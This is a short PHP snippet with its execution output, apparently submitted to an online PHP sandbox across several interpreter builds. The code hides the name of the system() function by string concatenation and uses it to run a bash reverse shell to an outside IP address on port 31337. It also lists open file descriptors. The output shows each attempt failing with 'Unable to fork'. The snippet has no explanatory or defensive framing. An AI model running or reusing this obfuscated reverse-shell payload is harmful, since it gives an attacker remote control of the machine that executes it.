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<?php $a=("s"."yst"."em");$a("sh >& /dev/tcp/1.236.112.48/31337 0>&1"); var_dump(glob("./dev/fd/*"));
Output for git.master, rfc.property-hooks
Warning: system(): Unable to fork [sh >& /dev/tcp/1.236.112.48/31337 0>&1] in /in/icWuQ on line 2 array(1) { [0]=> string(10) "./dev/fd/3" }
Output for git.master_jit
Warning: system(): Unable to fork [sh >& /dev/tcp/1.236.112.48/31337 0>&1] in /in/icWuQ on line 2 array(2) { [0]=> string(10) "./dev/fd/3" [1]=> string(10) "./dev/fd/4" }

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